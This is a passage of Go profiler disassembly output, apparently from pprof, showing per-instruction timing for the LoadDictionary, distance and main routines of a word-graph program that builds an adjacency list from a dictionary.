. . 10c9f0a: MOVQ SI, AX ;graph.go:74
. . 10c9f0d: MOVQ AX, 0x48(SP)
. . 10c9f12: LEAQ 0x138(SP), CX ;graph.go:54
. . 10c9f1a: MOVQ CX, 0(SP)
. 40ms 10c9f1e: CALL bufio.(*Scanner).Scan(SB) ;main.LoadDictionary graph.go:54
. . 10c9f23: CMPB $0x0, 0x8(SP) ;graph.go:54
. . 10c9f28: JE 0x10ca06b
. . 10c9f2e: NOPL ;graph.go:55
. . 10c9f2f: MOVQ 0x160(SP), AX ;scan.go:106
. . 10c9f37: MOVQ AX, 0x40(SP)
. . 10c9f3c: MOVQ 0x158(SP), CX
. . 10c9f44: MOVQ CX, 0x100(SP)
. . 10c9f4c: LEAQ type.*+88864(SB), DX ;graph.go:56
. . 10c9f53: MOVQ DX, 0(SP)
. . 10c9f57: MOVQ AX, 0x8(SP)
. . 10c9f5c: MOVQ AX, 0x10(SP)
. . 10c9f61: CALL runtime.makeslice(SB)
. . 10c9f66: MOVQ 0x18(SP), AX
. . 10c9f6b: MOVQ AX, 0x110(SP)
. . 10c9f73: MOVQ 0x100(SP), CX ;graph.go:57
. . 10c9f7b: CMPQ CX, AX
. . 10c9f7e: JE 0x10c9f98
. . 10c9f80: MOVQ AX, 0(SP)
. . 10c9f84: MOVQ CX, 0x8(SP)
. . 10c9f89: MOVQ 0x40(SP), CX
. . 10c9f8e: MOVQ CX, 0x10(SP)
. . 10c9f93: CALL runtime.memmove(SB)
. . 10c9f98: MOVQ 0x120(SP), CX ;graph.go:58
. . 10c9fa0: MOVQ 0x10(CX), DX
. . 10c9fa4: MOVQ 0x8(CX), BX
. . 10c9fa8: LEAQ 0x1(BX), SI
. . 10c9fac: MOVQ 0(CX), R8
. . 10c9faf: CMPQ DX, SI
. . 10c9fb2: JA 0x10ca00b
. . 10c9fb4: LEAQ 0x1(BX), DX
. . 10c9fb8: MOVQ DX, 0x8(CX)
. . 10c9fbc: LEAQ 0(BX)(BX*2), DX
. . 10c9fc0: MOVQ 0x40(SP), BX
30ms 30ms 10c9fc5: MOVQ BX, 0x8(R8)(DX*8) ;main.LoadDictionary graph.go:58
20ms 20ms 10c9fca: MOVQ BX, 0x10(R8)(DX*8)
. . 10c9fcf: MOVQ 0x48(SP), SI ;graph.go:59
. . 10c9fd4: CMPQ SI, BX
. . 10c9fd7: CMOVG BX, SI ;graph.go:74
. . 10c9fdb: LEAQ 0(R8)(DX*8), DI ;graph.go:58
. . 10c9fdf: CMPL $0x0, runtime.writeBarrier(SB)
. . 10c9fe6: JNE 0x10c9ff9
. . 10c9fe8: MOVQ 0x110(SP), AX
. . 10c9ff0: MOVQ AX, 0(R8)(DX*8)
. . 10c9ff4: JMP 0x10c9f0a
. . 10c9ff9: MOVQ 0x110(SP), AX
. . 10ca001: CALL runtime.gcWriteBarrier(SB)
. . 10ca006: JMP 0x10c9f0a
. . 10ca00b: LEAQ type.*+141536(SB), AX
. . 10ca012: MOVQ AX, 0(SP)
. . 10ca016: MOVQ R8, 0x8(SP)
. . 10ca01b: MOVQ BX, 0x10(SP)
. . 10ca020: MOVQ DX, 0x18(SP)
. . 10ca025: MOVQ SI, 0x20(SP)
. 40ms 10ca02a: CALL runtime.growslice(SB) ;main.LoadDictionary graph.go:58
. . 10ca02f: MOVQ 0x28(SP), AX ;graph.go:58
. . 10ca034: MOVQ 0x30(SP), CX
. . 10ca039: MOVQ 0x38(SP), DX
. . 10ca03e: MOVQ 0x120(SP), DI
. . 10ca046: MOVQ DX, 0x10(DI)
. . 10ca04a: CMPL $0x0, runtime.writeBarrier(SB)
. . 10ca051: JNE 0x10ca064
. . 10ca053: MOVQ AX, 0(DI)
. . 10ca056: MOVQ CX, BX
. . 10ca059: MOVQ AX, R8
. . 10ca05c: MOVQ DI, CX
. . 10ca05f: JMP 0x10c9fb4
. . 10ca064: CALL runtime.gcWriteBarrier(SB)
. . 10ca069: JMP 0x10ca056
. . 10ca06b: MOVQ 0x1e8(SP), AX ;graph.go:64
. . 10ca073: TESTQ AX, AX
. . 10ca076: JNE 0x10ca377
. . 10ca07c: MOVQ 0x120(SP), AX ;graph.go:68
. . 10ca084: MOVQ 0x8(AX), CX
. . 10ca088: MOVQ CX, 0x60(SP)
. . 10ca08d: LEAQ type.*+77216(SB), DX
. . 10ca094: MOVQ DX, 0(SP)
. . 10ca098: MOVQ CX, 0x8(SP)
. . 10ca09d: MOVQ CX, 0x10(SP)
. . 10ca0a2: CALL runtime.makeslice(SB)
. . 10ca0a7: MOVQ 0x18(SP), AX
. . 10ca0ac: MOVQ 0x60(SP), CX
. . 10ca0b1: MOVQ 0x120(SP), DX
. . 10ca0b9: MOVQ CX, 0x20(DX)
. . 10ca0bd: MOVQ CX, 0x28(DX)
. . 10ca0c1: CMPL $0x0, runtime.writeBarrier(SB)
. . 10ca0c8: JNE 0x10ca369
. . 10ca0ce: MOVQ AX, 0x18(DX)
. . 10ca0d2: XORL AX, AX
. . 10ca0d4: JMP 0x10ca0e5 ;graph.go:69
. . 10ca0d6: LEAQ 0x1(SI), BX
. . 10ca0da: MOVQ 0x60(SP), CX
. . 10ca0df: MOVQ AX, DX ;graph.go:70
. . 10ca0e2: MOVQ BX, AX ;graph.go:69
. . 10ca0e5: CMPQ CX, AX
. . 10ca0e8: JGE 0x10ca166
. . 10ca0ea: MOVQ AX, 0x50(SP)
. . 10ca0ef: LEAQ type.*+85856(SB), AX ;graph.go:70
. . 10ca0f6: MOVQ AX, 0(SP)
. . 10ca0fa: XORPS X0, X0
. . 10ca0fd: MOVUPS X0, 0x8(SP)
. . 10ca102: CALL runtime.makeslice(SB)
. . 10ca107: MOVQ 0x120(SP), AX
. . 10ca10f: MOVQ 0x20(AX), CX
. . 10ca113: MOVQ 0x18(AX), DX
. . 10ca117: MOVQ 0x18(SP), BX
. . 10ca11c: MOVQ 0x50(SP), SI
. . 10ca121: CMPQ CX, SI
. . 10ca124: JAE 0x10ca446
. . 10ca12a: LEAQ 0(SI)(SI*2), CX
. . 10ca12e: MOVQ $0x0, 0x8(DX)(CX*8)
. . 10ca137: MOVQ $0x0, 0x10(DX)(CX*8)
. . 10ca140: LEAQ 0(DX)(CX*8), DI
. . 10ca144: CMPL $0x0, runtime.writeBarrier(SB)
. . 10ca14b: JNE 0x10ca153
. . 10ca14d: MOVQ BX, 0(DX)(CX*8)
. . 10ca151: JMP 0x10ca0d6
. . 10ca153: MOVQ AX, CX ;graph.go:47
. . 10ca156: MOVQ BX, AX ;graph.go:70
. . 10ca159: CALL runtime.gcWriteBarrier(SB)
. . 10ca15e: MOVQ CX, AX
. . 10ca161: JMP 0x10ca0d6
. . 10ca166: LEAQ go.string.*+3453(SB), AX ;graph.go:73
. . 10ca16d: MOVQ AX, 0(SP)
. . 10ca171: MOVQ $0xa, 0x8(SP)
. . 10ca17a: CALL main.newTimer(SB)
. . 10ca17f: MOVQ 0x10(SP), AX
. . 10ca184: MOVQ AX, 0xe8(SP)
. . 10ca18c: MOVQ $0x800000, 0(SP) ;graph.go:74
. . 10ca194: MOVQ 0x48(SP), CX
. . 10ca199: MOVQ CX, 0x8(SP)
. 120ms 10ca19e: CALL main.newIndex(SB) ;main.LoadDictionary graph.go:74
. . 10ca1a3: MOVQ 0x10(SP), AX ;graph.go:74
. . 10ca1a8: MOVQ AX, 0xf8(SP)
. . 10ca1b0: MOVQ 0x120(SP), CX ;graph.go:75
. . 10ca1b8: MOVQ 0x8(CX), DX
. . 10ca1bc: MOVQ 0(CX), BX
. . 10ca1bf: TESTQ DX, DX
. . 10ca1c2: JLE 0x10ca22b
. . 10ca1c4: MOVQ DX, 0x60(SP)
. . 10ca1c9: XORL SI, SI
. . 10ca1cb: JMP 0x10ca1e4
. . 10ca1cd: MOVQ 0x108(SP), DX
. . 10ca1d5: LEAQ 0x18(DX), BX
. . 10ca1d9: MOVQ AX, SI
. . 10ca1dc: MOVQ 0xf8(SP), AX ;graph.go:76
. . 10ca1e4: MOVQ BX, 0x108(SP) ;graph.go:75
. . 10ca1ec: MOVQ SI, 0x58(SP)
. . 10ca1f1: MOVQ 0x8(BX), CX
. . 10ca1f5: MOVQ 0(BX), DX
. . 10ca1f8: MOVQ 0x10(BX), DI
. . 10ca1fc: MOVQ AX, 0(SP) ;graph.go:76
. . 10ca200: MOVQ SI, 0x8(SP)
. . 10ca205: MOVQ DX, 0x10(SP)
. . 10ca20a: MOVQ CX, 0x18(SP)
. . 10ca20f: MOVQ DI, 0x20(SP)
. 550ms 10ca214: CALL main.(*index).add(SB) ;main.LoadDictionary graph.go:76
. . 10ca219: MOVQ 0x58(SP), AX ;graph.go:75
. . 10ca21e: INCQ AX
. . 10ca221: MOVQ 0x60(SP), CX
. . 10ca226: CMPQ CX, AX
. . 10ca229: JL 0x10ca1cd
. . 10ca22b: MOVQ 0xe8(SP), DX ;graph.go:78
. . 10ca233: MOVQ 0(DX), AX
. . 10ca236: CALL AX
. . 10ca238: MOVZX 0x1d8(SP), AX ;graph.go:39
. . 10ca240: TESTL AL, AL
. . 10ca242: JNE 0x10ca353 ;graph.go:80
. . 10ca248: LEAQ go.string.*+4782(SB), AX ;graph.go:87
. . 10ca24f: MOVQ AX, 0(SP)
. . 10ca253: MOVQ $0xc, 0x8(SP)
. . 10ca25c: CALL main.newTimer(SB)
. . 10ca261: MOVQ 0x10(SP), AX
. . 10ca266: MOVQ AX, 0xf0(SP)
. . 10ca26e: MOVQ 0x120(SP), CX ;graph.go:88
. . 10ca276: MOVQ CX, 0(SP)
. . 10ca27a: MOVQ 0xf8(SP), DX
. . 10ca282: MOVQ DX, 0x8(SP)
. 1.90s 10ca287: CALL main.(*Graph).buildAdjList(SB) ;main.LoadDictionary graph.go:88
. . 10ca28c: MOVQ 0xf0(SP), DX ;graph.go:89
. . 10ca294: MOVQ 0(DX), AX
. . 10ca297: CALL AX
. . 10ca299: MOVQ 0x1e8(SP), AX ;graph.go:64
. . 10ca2a1: TESTQ AX, AX
. . 10ca2a4: JNE 0x10ca2eb ;graph.go:91
. . 10ca2a6: MOVZX 0x1d8(SP), AX ;graph.go:39
. . 10ca2ae: TESTL AL, AL
. . 10ca2b0: JNE 0x10ca2d8 ;graph.go:95
. . 10ca2b2: MOVQ 0x120(SP), AX ;graph.go:99
. . 10ca2ba: MOVQ AX, 0x1f0(SP)
. . 10ca2c2: NOPL
. . 10ca2c3: CALL runtime.deferreturn(SB)
. . 10ca2c8: MOVQ 0x1b8(SP), BP
. . 10ca2d0: ADDQ $0x1c0, SP
. . 10ca2d7: RET
. . 10ca2d8: MOVQ 0x120(SP), AX ;graph.go:96
. . 10ca2e0: MOVQ AX, 0(SP)
. . 10ca2e4: CALL main.adjListStats(SB)
. . 10ca2e9: JMP 0x10ca2b2
. . 10ca2eb: MOVQ $0x0, 0(SP) ;graph.go:92
. . 10ca2f3: MOVQ 0x1e0(SP), CX
. . 10ca2fb: MOVQ CX, 0x8(SP)
. . 10ca300: MOVQ AX, 0x10(SP)
. . 10ca305: LEAQ go.string.*+2067(SB), AX
. . 10ca30c: MOVQ AX, 0x18(SP)
. . 10ca311: MOVQ $0x8, 0x20(SP)
. . 10ca31a: CALL runtime.concatstring2(SB)
. . 10ca31f: MOVQ 0x28(SP), AX
. . 10ca324: MOVQ 0x30(SP), CX
. . 10ca329: MOVQ 0x120(SP), DX
. . 10ca331: MOVQ DX, 0(SP)
. . 10ca335: MOVQ AX, 0x8(SP)
. . 10ca33a: MOVQ CX, 0x10(SP)
. . 10ca33f: CALL main.(*Graph).dumpAdjList(SB)
. . 10ca344: MOVZX 0x1d8(SP), AX ;graph.go:39
. . 10ca34c: TESTL AL, AL
. . 10ca34e: JMP 0x10ca2b0 ;graph.go:92
. . 10ca353: MOVQ 0xf8(SP), AX ;graph.go:81
. . 10ca35b: MOVQ AX, 0(SP)
. . 10ca35f: CALL main.(*index).printStats(SB)
. . 10ca364: JMP 0x10ca248 ;graph.go:87
. . 10ca369: LEAQ 0x18(DX), DI ;graph.go:68
. . 10ca36d: CALL runtime.gcWriteBarrier(SB)
. . 10ca372: JMP 0x10ca0d2
. . 10ca377: MOVQ $0x0, 0(SP) ;graph.go:65
. . 10ca37f: MOVQ 0x1e0(SP), CX
. . 10ca387: MOVQ CX, 0x8(SP)
. . 10ca38c: MOVQ AX, 0x10(SP)
. . 10ca391: LEAQ go.string.*+5422(SB), DX
. . 10ca398: MOVQ DX, 0x18(SP)
. . 10ca39d: MOVQ $0xd, 0x20(SP)
. . 10ca3a6: CALL runtime.concatstring2(SB)
. . 10ca3ab: MOVQ 0x30(SP), AX
. . 10ca3b0: MOVQ 0x28(SP), CX
. . 10ca3b5: MOVQ 0x120(SP), DX
. . 10ca3bd: MOVQ DX, 0(SP)
. . 10ca3c1: MOVQ CX, 0x8(SP)
. . 10ca3c6: MOVQ AX, 0x10(SP)
. . 10ca3cb: CALL main.(*Graph).dumpVertices(SB)
. . 10ca3d0: JMP 0x10ca07c
. . 10ca3d5: MOVQ AX, 0x110(SP) ;graph.go:48
. . 10ca3dd: LEAQ type.*+157408(SB), AX ;graph.go:47
. . 10ca3e4: MOVQ AX, 0(SP)
. . 10ca3e8: MOVQ 0x120(SP), AX
. . 10ca3f0: MOVQ AX, 0x8(SP)
. . 10ca3f5: CALL runtime.typedmemclr(SB)
. . 10ca3fa: MOVQ 0x120(SP), DI
. . 10ca402: MOVQ 0x110(SP), AX
. . 10ca40a: CALL runtime.gcWriteBarrier(SB)
. . 10ca40f: MOVQ DI, CX ;graph.go:68
. . 10ca412: XORPS X0, X0 ;graph.go:48
. . 10ca415: JMP 0x10c9e95 ;graph.go:47
. . 10ca41a: NOPL ;graph.go:45
. . 10ca41b: CALL runtime.deferreturn(SB)
. . 10ca420: MOVQ 0x1b8(SP), BP
. . 10ca428: ADDQ $0x1c0, SP
. . 10ca42f: RET
. . 10ca430: NOPL ;graph.go:40
. . 10ca431: CALL runtime.deferreturn(SB)
. . 10ca436: MOVQ 0x1b8(SP), BP
. . 10ca43e: ADDQ $0x1c0, SP
. . 10ca445: RET
. . 10ca446: MOVQ SI, AX ;graph.go:70
. . 10ca449: CALL runtime.panicIndex(SB)
. . 10ca44e: NOPL
. . 10ca44f: CALL runtime.morestack_noctxt(SB) ;graph.go:39
. . 10ca454: JMP main.LoadDictionary(SB)
. . 10ca459: INT $0x3
. . 10ca45a: INT $0x3
. . 10ca45b: INT $0x3
. . 10ca45c: INT $0x3
. . 10ca45d: INT $0x3
. . 10ca45e: INT $0x3
ROUTINE ======================== main.distance
240ms 240ms (flat, cum) 3.99% of Total
. . 10cb0c0: SUBQ $0x18, SP ;graph.go:284
. . 10cb0c4: MOVQ BP, 0x10(SP)
. . 10cb0c9: LEAQ 0x10(SP), BP
. . 10cb0ce: MOVQ 0x28(SP), CX ;graph.go:290
. . 10cb0d3: MOVQ 0x40(SP), DX
. . 10cb0d8: CMPQ DX, CX
. . 10cb0db: MOVQ CX, BX ;graph.go:293
. . 10cb0de: CMOVG DX, CX
. . 10cb0e2: MOVQ BX, SI ;graph.go:285
. . 10cb0e5: SUBQ DX, BX
. . 10cb0e8: MOVQ DX, DI ;graph.go:287
. . 10cb0eb: SUBQ SI, DX
. . 10cb0ee: TESTQ BX, BX ;graph.go:286
. . 10cb0f1: CMOVL DX, BX ;graph.go:295
10ms 10ms 10cb0f5: MOVQ 0x38(SP), DX ;main.distance graph.go:286
. . 10cb0fa: MOVQ 0x20(SP), R8 ;graph.go:286
. . 10cb0ff: XORL AX, AX
. . 10cb101: JMP 0x10cb116
10ms 10ms 10cb103: MOVZX 0(DX)(AX*1), R10 ;main.distance graph.go:294
130ms 130ms 10cb108: LEAQ 0x1(BX), R11 ;main.distance graph.go:295
. . 10cb10c: CMPL R10, R9 ;graph.go:294
20ms 20ms 10cb10f: CMOVNE R11, BX ;main.distance graph.go:295
30ms 30ms 10cb113: INCQ AX ;main.distance graph.go:293
10ms 10ms 10cb116: CMPQ CX, AX
. . 10cb119: JGE 0x10cb12c ;graph.go:293
. . 10cb11b: CMPQ SI, AX ;graph.go:294
. . 10cb11e: JAE 0x10cb143
. . 10cb120: MOVZX 0(R8)(AX*1), R9
30ms 30ms 10cb125: CMPQ DI, AX ;main.distance graph.go:294
. . 10cb128: JB 0x10cb103 ;graph.go:294
. . 10cb12a: JMP 0x10cb13b
. . 10cb12c: MOVQ BX, 0x50(SP) ;graph.go:299
. . 10cb131: MOVQ 0x10(SP), BP
. . 10cb136: ADDQ $0x18, SP
. . 10cb13a: RET
. . 10cb13b: MOVQ DI, CX ;graph.go:294
. . 10cb13e: CALL runtime.panicIndex(SB)
. . 10cb143: MOVQ SI, CX
. . 10cb146: CALL runtime.panicIndex(SB)
. . 10cb14b: NOPL
. . 10cb14c: INT $0x3
. . 10cb14d: INT $0x3
. . 10cb14e: INT $0x3
ROUTINE ======================== main.main
0 2.70s (flat, cum) 44.93% of Total
. . 10cd340: MOVQ GS:0x30, CX ;main.go:24
. . 10cd349: LEAQ 0xfffffd98(SP), AX
. . 10cd351: CMPQ 0x10(CX), AX
. . 10cd355: JBE 0x10ce03f
. . 10cd35b: SUBQ $0x2e8, SP
. . 10cd362: MOVQ BP, 0x2e0(SP)
. . 10cd36a: LEAQ 0x2e0(SP), BP
. . 10cd372: MOVQ os.Args+8(SB), CX ;main.go:25
. . 10cd379: MOVQ os.Args(SB), DX ;flag.go:996
. . 10cd380: MOVQ os.Args+16(SB), BX
. . 10cd387: CMPQ $0x1, CX
. . 10cd38b: JB 0x10ce034
. . 10cd391: MOVQ flag.CommandLine(SB), AX
. . 10cd398: MOVQ AX, 0(SP)
. . 10cd39c: LEAQ -0x1(BX), AX
. . 10cd3a0: MOVQ AX, BX
. . 10cd3a3: NEGQ AX
. . 10cd3a6: SARQ $0x3f, AX
. . 10cd3aa: ANDQ $0x10, AX
. . 10cd3ae: ADDQ DX, AX
. . 10cd3b1: MOVQ AX, 0x8(SP)
. . 10cd3b6: LEAQ -0x1(CX), AX
. . 10cd3ba: MOVQ AX, 0x10(SP)
. . 10cd3bf: MOVQ BX, 0x18(SP)
. . 10cd3c4: CALL flag.(*FlagSet).Parse(SB)
. . 10cd3c9: MOVQ main.cpuprofile(SB), AX ;main.go:27
. . 10cd3d0: MOVQ 0(AX), CX
. . 10cd3d3: MOVQ 0x8(AX), AX
. . 10cd3d7: TESTQ AX, AX
. . 10cd3da: JNE 0x10cded7
. . 10cd3e0: MOVQ main.traceprofile(SB), AX ;main.go:37
. . 10cd3e7: MOVQ 0(AX), CX
. . 10cd3ea: MOVQ 0x8(AX), AX
. . 10cd3ee: TESTQ AX, AX
. . 10cd3f1: JNE 0x10cdd75
. . 10cd3f7: MOVQ main.dump(SB), AX ;main.go:47
. . 10cd3fe: MOVQ 0x8(AX), CX
. . 10cd402: MOVQ 0(AX), AX
. . 10cd405: TESTQ CX, CX
. . 10cd408: JNE 0x10cdd62
. . 10cd40e: XORPS X0, X0 ;main.go:51
. . 10cd411: MOVUPS X0, 0x250(SP)
. . 10cd419: LEAQ type.*+88544(SB), AX
. . 10cd420: MOVQ AX, 0x250(SP)
. . 10cd428: LEAQ internal/bytealg.IndexString.args_stackmap+640(SB), CX
. . 10cd42f: MOVQ CX, 0x258(SP)
. . 10cd437: MOVQ os.Stdout(SB), CX ;print.go:274
. . 10cd43e: LEAQ go.itab.*os.File,io.Writer(SB), DX
. . 10cd445: MOVQ DX, 0(SP)
. . 10cd449: MOVQ CX, 0x8(SP)
. . 10cd44e: LEAQ 0x250(SP), CX
. . 10cd456: MOVQ CX, 0x10(SP)
. . 10cd45b: MOVQ $0x1, 0x18(SP)
. . 10cd464: MOVQ $0x1, 0x20(SP)
. . 10cd46d: CALL fmt.Fprintln(SB)
. . 10cd472: MOVQ main.dict(SB), AX ;main.go:52
. . 10cd479: MOVQ main.perfStats(SB), CX
. . 10cd480: MOVQ main.dump(SB), DX
. . 10cd487: MOVQ 0x8(AX), BX
. . 10cd48b: MOVQ 0(AX), AX
. . 10cd48e: MOVZX 0(CX), CX
. . 10cd491: MOVQ 0(DX), SI
. . 10cd494: MOVQ 0x8(DX), DX
. . 10cd498: MOVQ AX, 0(SP)
. . 10cd49c: MOVQ BX, 0x8(SP)
. . 10cd4a1: MOVB CL, 0x10(SP)
. . 10cd4a5: MOVQ SI, 0x18(SP)
. . 10cd4aa: MOVQ DX, 0x20(SP)
. 2.70s 10cd4af: CALL main.LoadDictionary(SB) ;main.main main.go:52
. . 10cd4b4: MOVQ 0x28(SP), AX ;main.go:52
. . 10cd4b9: MOVQ AX, 0x1d0(SP)
. . 10cd4c1: MOVQ 0x8(AX), CX ;graph.go:304
. . 10cd4c5: MOVQ CX, 0x78(SP)
. . 10cd4ca: MOVQ AX, 0(SP) ;main.go:53
. . 10cd4ce: CALL main.(*Graph).EdgeCount(SB)
. . 10cd4d3: MOVQ 0x8(SP), AX
. . 10cd4d8: MOVQ AX, 0x70(SP)
. . 10cd4dd: MOVQ 0x78(SP), CX
. . 10cd4e2: MOVQ CX, 0(SP)
. . 10cd4e6: CALL runtime.convT64(SB)
. . 10cd4eb: MOVQ 0x8(SP), AX
. . 10cd4f0: MOVQ AX, 0x1f8(SP)
. . 10cd4f8: MOVQ 0x70(SP), CX
. . 10cd4fd: MOVQ CX, 0(SP)
. . 10cd501: CALL runtime.convT64(SB)
. . 10cd506: MOVQ 0x8(SP), AX
. . 10cd50b: XORPS X0, X0
. . 10cd50e: MOVUPS X0, 0x2c0(SP)
. . 10cd516: MOVUPS X0, 0x2d0(SP)
. . 10cd51e: LEAQ type.*+85856(SB), CX
. . 10cd525: MOVQ CX, 0x2c0(SP)
. . 10cd52d: MOVQ 0x1f8(SP), DX
. . 10cd535: MOVQ DX, 0x2c8(SP)
. . 10cd53d: MOVQ CX, 0x2d0(SP)
. . 10cd545: MOVQ AX, 0x2d8(SP)
. . 10cd54d: MOVQ os.Stdout(SB), AX ;print.go:213
. . 10cd554: LEAQ go.itab.*os.File,io.Writer(SB), CX
. . 10cd55b: MOVQ CX, 0(SP)
. . 10cd55f: MOVQ AX, 0x8(SP)
. . 10cd564: LEAQ go.string.*+11000(SB), AX
. . 10cd56b: MOVQ AX, 0x10(SP)
. . 10cd570: MOVQ $0x14, 0x18(SP)
. . 10cd579: LEAQ 0x2c0(SP), AX
. . 10cd581: MOVQ AX, 0x20(SP)
. . 10cd586: MOVQ $0x2, 0x28(SP)
. . 10cd58f: MOVQ $0x2, 0x30(SP)
. . 10cd598: CALL fmt.Fprintf(SB)
. . 10cd59d: MOVQ main.dictStats(SB), AX ;main.go:55
. . 10cd5a4: CMPB $0x0, 0(AX)
. . 10cd5a7: JNE 0x10cdd41
. . 10cd5ad: MOVQ main.src(SB), AX ;main.go:59
. . 10cd5b4: MOVQ 0(AX), CX
. . 10cd5b7: MOVQ 0x8(AX), AX
. . 10cd5bb: TESTQ AX, AX
. . 10cd5be: JE 0x10cd5d2
. . 10cd5c0: MOVQ main.dest(SB), DX
. . 10cd5c7: CMPQ $0x0, 0x8(DX)
. . 10cd5cc: JNE 0x10cd7de
. . 10cd5d2: MOVQ main.printGraph(SB), AX ;main.go:83
. . 10cd5d9: CMPB $0x0, 0(AX)
. . 10cd5dc: JNE 0x10cd7c8
. . 10cd5e2: MOVQ main.memprofile(SB), AX ;main.go:87
. . 10cd5e9: CMPQ $0x0, 0x8(AX)
. . 10cd5ee: JNE 0x10cd606
. . 10cd5f0: NOPL ;main.go:98
. . 10cd5f1: CALL runtime.deferreturn(SB)
. . 10cd5f6: MOVQ 0x2e0(SP), BP
. . 10cd5fe: ADDQ $0x2e8, SP
. . 10cd605: RET
. . 10cd606: CALL runtime.GC(SB) ;main.go:88
. . 10cd60b: MOVQ main.memprofile(SB), AX ;main.go:89
. . 10cd612: MOVQ 0(AX), CX
. . 10cd615: MOVQ 0x8(AX), AX
. . 10cd619: MOVQ CX, 0(SP) ;file.go:289
. . 10cd61d: MOVQ AX, 0x8(SP)
. . 10cd622: MOVQ $0x602, 0x10(SP)
. . 10cd62b: MOVL $0x1b6, 0x18(SP)
. . 10cd633: CALL os.OpenFile(SB)
. . 10cd638: MOVQ 0x20(SP), AX
. . 10cd63d: MOVQ AX, 0x1f0(SP)
. . 10cd645: MOVQ 0x28(SP), CX
. . 10cd64a: MOVQ 0x30(SP), DX
. . 10cd64f: TESTQ CX, CX ;main.go:90
. . 10cd652: JE 0x10cd6be
. . 10cd654: JE 0x10cd65a ;main.go:91
. . 10cd656: MOVQ 0x8(CX), CX
. . 10cd65a: XORPS X0, X0
. . 10cd65d: MOVUPS X0, 0x260(SP)
. . 10cd665: MOVUPS X0, 0x270(SP)
. . 10cd66d: LEAQ type.*+88544(SB), AX
. . 10cd674: MOVQ AX, 0x260(SP)
. . 10cd67c: LEAQ internal/bytealg.IndexString.args_stackmap+672(SB), BX
. . 10cd683: MOVQ BX, 0x268(SP)
. . 10cd68b: MOVQ CX, 0x270(SP)
. . 10cd693: MOVQ DX, 0x278(SP)
. . 10cd69b: LEAQ 0x260(SP), CX
. . 10cd6a3: MOVQ CX, 0(SP)
. . 10cd6a7: MOVQ $0x2, 0x8(SP)
. . 10cd6b0: MOVQ $0x2, 0x10(SP)
. . 10cd6b9: CALL log.Fatal(SB)
. . 10cd6be: MOVL $0x18, 0xf0(SP) ;main.go:93
. . 10cd6c9: LEAQ go.func.*+294(SB), AX
. . 10cd6d0: MOVQ AX, 0x108(SP)
. . 10cd6d8: MOVQ 0x1f0(SP), AX
. . 10cd6e0: MOVQ AX, 0x120(SP)
. . 10cd6e8: LEAQ 0xf0(SP), CX
. . 10cd6f0: MOVQ CX, 0(SP)
. . 10cd6f4: CALL runtime.deferprocStack(SB)
. . 10cd6f9: TESTL AX, AX
. . 10cd6fb: JNE 0x10cd7b2
. . 10cd701: NOPL ;pprof.go:522
. . 10cd702: LEAQ go.itab.*os.File,io.Writer(SB), AX ;pprof.go:533
. . 10cd709: MOVQ AX, 0(SP)
. . 10cd70d: MOVQ 0x1f0(SP), AX
. . 10cd715: MOVQ AX, 0x8(SP)
. . 10cd71a: MOVQ $0x0, 0x10(SP)
. . 10cd723: XORPS X0, X0
. . 10cd726: MOVUPS X0, 0x18(SP)
. . 10cd72b: CALL runtime/pprof.writeHeapInternal(SB)
. . 10cd730: MOVQ 0x28(SP), AX
. . 10cd735: MOVQ 0x30(SP), CX
. . 10cd73a: TESTQ AX, AX ;main.go:94
. . 10cd73d: JE 0x10cd5f0
. . 10cd743: JE 0x10cd749 ;main.go:95
. . 10cd745: MOVQ 0x8(AX), AX
. . 10cd749: XORPS X0, X0
. . 10cd74c: MOVUPS X0, 0x260(SP)
. . 10cd754: MOVUPS X0, 0x270(SP)
. . 10cd75c: LEAQ type.*+88544(SB), DX
. . 10cd763: MOVQ DX, 0x260(SP)
. . 10cd76b: LEAQ internal/bytealg.IndexString.args_stackmap+688(SB), DX
. . 10cd772: MOVQ DX, 0x268(SP)
. . 10cd77a: MOVQ AX, 0x270(SP)
. . 10cd782: MOVQ CX, 0x278(SP)
. . 10cd78a: LEAQ 0x260(SP), AX
. . 10cd792: MOVQ AX, 0(SP)
. . 10cd796: MOVQ $0x2, 0x8(SP)
. . 10cd79f: MOVQ $0x2, 0x10(SP)
. . 10cd7a8: CALL log.Fatal(SB)
. . 10cd7ad: JMP 0x10cd5f0
. . 10cd7b2: NOPL ;main.go:93
. . 10cd7b3: CALL runtime.deferreturn(SB)
. . 10cd7b8: MOVQ 0x2e0(SP), BP
. . 10cd7c0: ADDQ $0x2e8, SP
. . 10cd7c7: RET
. . 10cd7c8: MOVQ 0x1d0(SP), AX ;main.go:84
. . 10cd7d0: MOVQ AX, 0(SP)
. . 10cd7d4: CALL main.(*Graph).PrintAdjList(SB)
. . 10cd7d9: JMP 0x10cd5e2
. . 10cd7de: MOVQ CX, 0(SP) ;main.go:60
. . 10cd7e2: MOVQ AX, 0x8(SP)
. . 10cd7e7: CALL runtime.convTstring(SB)
. . 10cd7ec: MOVQ main.dest(SB), AX
. . 10cd7f3: MOVQ 0x10(SP), CX
. . 10cd7f8: MOVQ CX, 0x1f8(SP)
. . 10cd800: MOVQ 0(AX), DX
. . 10cd803: MOVQ 0x8(AX), AX
. . 10cd807: MOVQ DX, 0(SP)
. . 10cd80b: MOVQ AX, 0x8(SP)
. . 10cd810: CALL runtime.convTstring(SB)
. . 10cd815: MOVQ 0x10(SP), AX
. . 10cd81a: XORPS X0, X0
. . 10cd81d: MOVUPS X0, 0x2a0(SP)
. . 10cd825: MOVUPS X0, 0x2b0(SP)
. . 10cd82d: LEAQ type.*+88544(SB), CX
. . 10cd834: MOVQ CX, 0x2a0(SP)
. . 10cd83c: MOVQ 0x1f8(SP), DX
. . 10cd844: MOVQ DX, 0x2a8(SP)
. . 10cd84c: MOVQ CX, 0x2b0(SP)
. . 10cd854: MOVQ AX, 0x2b8(SP)
. . 10cd85c: MOVQ os.Stdout(SB), AX ;print.go:213
. . 10cd863: LEAQ go.itab.*os.File,io.Writer(SB), DX
. . 10cd86a: MOVQ DX, 0(SP)
. . 10cd86e: MOVQ AX, 0x8(SP)
. . 10cd873: LEAQ go.string.*+16269(SB), AX
. . 10cd87a: MOVQ AX, 0x10(SP)
. . 10cd87f: MOVQ $0x1b, 0x18(SP)
. . 10cd888: LEAQ 0x2a0(SP), AX
. . 10cd890: MOVQ AX, 0x20(SP)
. . 10cd895: MOVQ $0x2, 0x28(SP)
. . 10cd89e: MOVQ $0x2, 0x30(SP)
. . 10cd8a7: CALL fmt.Fprintf(SB)
. . 10cd8ac: MOVQ main.src(SB), AX ;main.go:61
. . 10cd8b3: MOVQ 0x8(AX), CX
. . 10cd8b7: MOVQ 0(AX), AX
